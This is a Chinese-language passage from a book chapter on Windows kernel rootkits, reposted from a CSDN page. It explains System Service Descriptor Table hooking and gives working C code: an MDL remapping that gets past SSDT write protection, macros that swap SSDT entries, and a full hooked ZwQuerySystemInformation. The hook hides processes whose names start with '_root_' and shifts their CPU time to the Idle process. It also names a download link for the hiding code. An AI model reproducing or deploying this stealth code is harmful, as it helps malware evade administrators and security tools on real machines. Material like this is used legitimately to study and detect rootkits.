原文地址 http://book.csdn.net/bookfiles/345/
4.2 内核钩子
前一节中说明了用户空间钩子是有用的,但它们相对易于检测和预防(第10章“rootkit检测”将详细讨论用户空间钩子的检测问题)。更好的解决方法是安装内核内存钩子。通过使用内核钩子,rootkit将与所有检测软件保持同步。
内核内存是高端虚存地址区域。在Intel
x86体系结构中,内核内存通常驻留在内存地址0x80000000及以上范围。若使用了允许进程拥有3GB虚存的/3GB引导配置开关,则内核内存起始于0xC0000000地址处。
进程不能访问内核内存是一条通用规则。该规则的例外情况是进程具有调试权限并且使用了特定的调试API,或者已安装了调用门。本书不涉及这些例外情况。关于调用门的更多信息,可参考Intel体系结构手册。
在本书中,rootkit通过实现一个设备驱动程序来访问内核内存。
出于众多因素考虑,内核提供了安装钩子的理想位置。两个最重要的原因包括:内核钩子是全局的(相对而言);并且它们更难以检测,因为若rootkit和防护/检测软件都处于环0级时,rootkit有一个平等竞赛(even
playing)域,可以在其上躲避或禁止保护/检测软件(关于环的更多信息,参见第3章“硬件相关问题”)。
本节介绍3个最常见的钩子位置。但应该理解的是,根据不同的rootkit预期目的,也可以发现其他钩子位置。
4.2.1 钩住系统服务描述符表
Windows可执行程序在内核模式中运行,并且对操作系统的所有子系统(Win32、POSIX和OS/2)都提供本地支持。这些本地系统服务的地址在内核结构中称为系统服务调度表(System
Service Dispatch Table,SSDT)中列出。该表可以基于系统调用编号进行索引,以便定位函数的内存地址。还有一个系统服务参数表(System
Service Parameter Table,SSPT)指定了每个系统服务的函数参数的字节数。
KeServiceDescriptorTable是由内核导出的表。该表拥有一个指针,指向SSDT中包含由Ntoskrnl.exe实现的核心系统服务的相应部分,它是内核的主要组成部分。KeServiceDescriptorTable表还包含一个指向SSPT的指针。
图4-4描述了KeServiceDescriptorTable表。该图中的数据来自于未安装服务补丁包的Windows 2000 Advanced
Server系统。其中SSDT包含了所有内核导出函数的地址。每个地址长度为4个字节。
为了调用特定函数,系统服务调度程序KiSystemService将该函数的ID编号乘以4以获取它在SSDT中的偏移量。注意KeServiceDescriptorTable包含了服务数目,该值用于确定在SSDT或SSPT中的最大偏移量。图4-4中也描述了SSPT。该表中的每个元素为单字节长度,以十六进制指定了它在SSDT中的相应函数采取多少字节作为参数。在这个示例中,地址0x804AB3BF处的函数采用0x18个字节的参数。
图4-4 KeServiceDescriptorTable表
KeServiceDescriptorTableShadow表包含了在内核驱动程序Win32k.sys中实现的USER和GDI服务的地址。Dabak等人在Undocumented
Windows NT一书中描述了这些表。
当调用INT
2E或SYSENTER指令时会激活系统服务调度程序。这导致进程通过调用该程序转换到内核模式。应用程序可以直接或通过使用子系统调用系统服务调度程序KiSystemService。若采用子系统(例如Win32)方式,它会调用到Ntdll.dll中。后者向EAX中加载所请求的系统服务标识符编号或系统函数索引,然后向EDX中加载用户模式中函数参数的地址。系统服务调度程序对参数数目进行验证,将它们从用户堆栈中复制到内核堆栈,然后调用在SSDT中存储于EAX中的服务标识符编号的索引地址处的函数(该进程在本章后面4.2.1节中详细讨论)。
一旦将rootkit作为设备驱动程序加载之后,它可以将SSDT改为指向它所提供的函数,而不是指向Ntoskrnl.exe或Win32k.sys。当非核心的应用程序调用到内核中时,该请求由系统服务调度程序处理,并且调用了rootkit的函数。这时,rootkit可以将它想要的任何假信息传回到应用程序,从而有效地隐藏自身以及所用的资源。
4.2.2 修改SSDT内存保护机制
在第2章中讨论过,有些Windows系统版本对某些内存区域启用了写保护功能。这在后期版本,如Windows XP和Windows
2003,中更为普遍。这些后期版本的操作系统要求SSDT是只读的,因为任何合法程序都不可能需要修改这个表。
如果希望通过函数调用钩子来过滤特定系统调用所返回的响应,则写保护机制对rootkit提出了一个重大的难题。若向只读内存区域,例如SSDT,中执行写入操作,则会发生蓝屏死机(Blue
Screen of
Death,BSoD)。第2章介绍了如何修改CR0寄存器来绕过内存保护机制,从而避免这种BSoD。本节解释另一种微软公司已深入说明的进程来修改内存保护机制的方法。
您可以在内存描述符表(Memory Descriptor List,MDL)中描述一块内存区域。MDL包含了该内存区域的起始地址、拥有者进程、字节数量以及标志:
// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD 0x0200
#define MDL_PHYSICAL_VIEW 0x0400
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
为了修改内存标志,以下代码首先声明一个结构,该结构用于强制转换由Windows内核导出的KeServiceDescriptorTable变量的类型。调用MmCreateMdl时,需要KeServiceDescriptorTable基地址以及它所包含的项数。它们定义了MDL所描述的内存区域的起始地址和大小。然后rootkit从不分页的内存池中构建MDL。
rootkit将MDL的标志与前面提及的MDL_MAPPED_TO_SYSTEM_VA进行或操作,以便允许写入一块内存区域。然后调用MmMapLockedPages来锁定内存中的MDL页。
现在就可以开始钩住SSDT。在以下代码中,MappedSystemCallTable 代表了与原始SSDT相同的地址,但现在可以向其中执行写入操作。
// Declarations
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// Code
// save old system call locations
// Map the memory into our domain to change the permissions on // the MDL
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
4.2.3 钩住SSDT
几个宏有助于钩住SSDT表。SYSTEMSERVICE
宏采用由ntoskrnl.exe导出的Zw*函数的地址,并返回相应的Nt*函数在SSDT中的地址。Nt*函数是私有函数,其地址列于SSDT中。Zw*函数是由内核为使用设备驱动程序和其他内核组件而导出的函数。注意,SSDT中的每一项和每个Zw*函数之间不存在一对一的对应关系。
SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。该宏和SYSTEMSERVICE宏
发挥作用的原因在于Zw*函数起始位置的操作码。在编写本书之际,内核中的所有Zw*函数都以操作码mov eax,
ULONG起始,其中ULONG是系统调用在SSDT中的索引号。通过将该函数的第二个字节看作ULONG类型,这些宏能得到该函数的索引号。
HOOK_SYSCALL和UNHOOK_SYSCALL宏采用被钩住的Zw*函数的地址,获取其索引号,并自动将SSDT中该索引的相应地址与_Hook函数的地址进行交换。
#define SYSTEMSERVICE(_func) /
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) /
InterlockedExchange((PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
这些宏有助于编写钩住SSDT的rootkit,在后面的示例中将演示其用法。
在初步了解如何钩住SSDT后,下面分析一个示例。
1. 示例:使用SSDT钩子隐藏进程
Windows操作系统通过ZwQuerySystemInformation函数查询许多不同类型的信息。例如,Taskmgr.exe通过该函数获取系统上的进程列表。返回的信息类型取决于所请求的SystemInformationClass。在微软公司Windows
DDK中定义,要获得进程列表,SystemInformationClass设置为5。
一旦rootkit将NtQuerySystemInformation函数放到SSDT中,钩子就可以调用原始的函数并对结果进行过滤。
图4-5解释了NtQuerySystemInformation通过缓冲区返回进程记录的方式。
图4-5 SystemInformationClass缓冲区的结构
缓冲区中的信息包括_SYSTEM_PROCESSES结构及其相应的_SYSTEM_THREADS结构。_SYSTEM_PROCESSES结构中重要的一项是包含了进程名的UNICODE_STRING。还有两个LARGE_INTEGER项包含了进程所使用的用户和内核时间。在隐藏进程时,rootkit应该将进程的执行时间添加到列表中的另一个进程,这样所记录的全部时间总计就可达到CPU时间的100%。
以下代码解释了在ZwQuerySystemInformation所返回的缓冲区中进程和线程结构的格式:
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
下面的NewZwQuerySystemInformation函数过滤掉名称以“_root_”开头的所有进程。它还将这些隐藏进程的运行时间添加到Idle进程中。
//
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list
// of processes.
// The function below imitates it, except that it removes
// from the list any process whose name begins
// with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
// Look for process names that start with
// "_root_" and filter them out.
struct _SYSTEM_PROCESSES *curr =
(struct _SYSTEM_PROCESSES *) SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart +=
curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it
// forward
(char*)SystemInformation +=
curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta)((char*)curr+=
curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8)
{
// Query for SystemProcessorTimes
struct _SYSTEM_PROCESSOR_TIMES * times =
(struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_KernelTime.QuadPart;
}
}
return ntStatus;
}
rootkit.com网站资源
钩住SSDT以及隐藏进程的代码下载网址是www.rootkit.com/vault/fuzen_op/ HideProcessHookMDL.zip。
利用前面的钩子,rootkit能够隐藏名称以“_root_”开头的所有进程。但这只是一个示例,可以修改被隐藏进程的名称。在SSDT中还存在着大量您希望钩住的函数。
更好地理解了SSDT钩子之后,下面介绍内核中其他可以钩住的位置